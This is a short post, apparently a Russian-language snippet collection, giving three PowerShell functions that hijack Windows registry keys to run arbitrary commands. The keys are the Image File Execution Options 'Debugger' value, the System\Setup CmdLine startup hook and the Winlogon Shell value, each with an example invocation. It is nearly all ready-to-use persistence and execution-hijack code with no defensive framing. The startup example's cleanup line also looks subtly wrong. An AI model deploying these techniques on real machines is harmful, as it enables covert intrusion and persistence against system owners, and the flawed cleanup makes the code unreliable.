3 способа запустить что-либо тогда, когда не надо

function Invoke-OnFileRun {
    param (
        [Parameter(Mandatory)]
        [string] $File,
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    $regKey = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$File"
    New-Item $regKey -Force | Out-Null
    New-ItemProperty $regKey -Name "Debugger" -PropertyType String -Value $Command -Force | Out-Null
}

Invoke-OnFileRun -File test.exe -Command "cmd /c <команда> & rem"

function Invoke-OnSystemStartup {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
    Set-ItemProperty "HKLM:\System\Setup" -Name SetupType -Value 2 -Force | Out-Null
    Set-ItemProperty "HKLM:\System\Setup" -Name CmdLine -Value $Command -Force | Out-Null
}

Invoke-OnSystemStartup -Command "cmd /c <команда> & reg add HKLM\System\Setup /v CmdLine /d 2 /t REG_DWORD /f"

function Invoke-AsShell {
    param (
        [Parameter(Mandatory)]
        [string] $Command
    )
 
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "AutoRestartShell" -Value 0 -Force | Out-Null
    Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name "Shell" -Value $Command -Force | Out-Null
}

Invoke-AsShell -Command "cmd /c <команда> & start explorer.exe"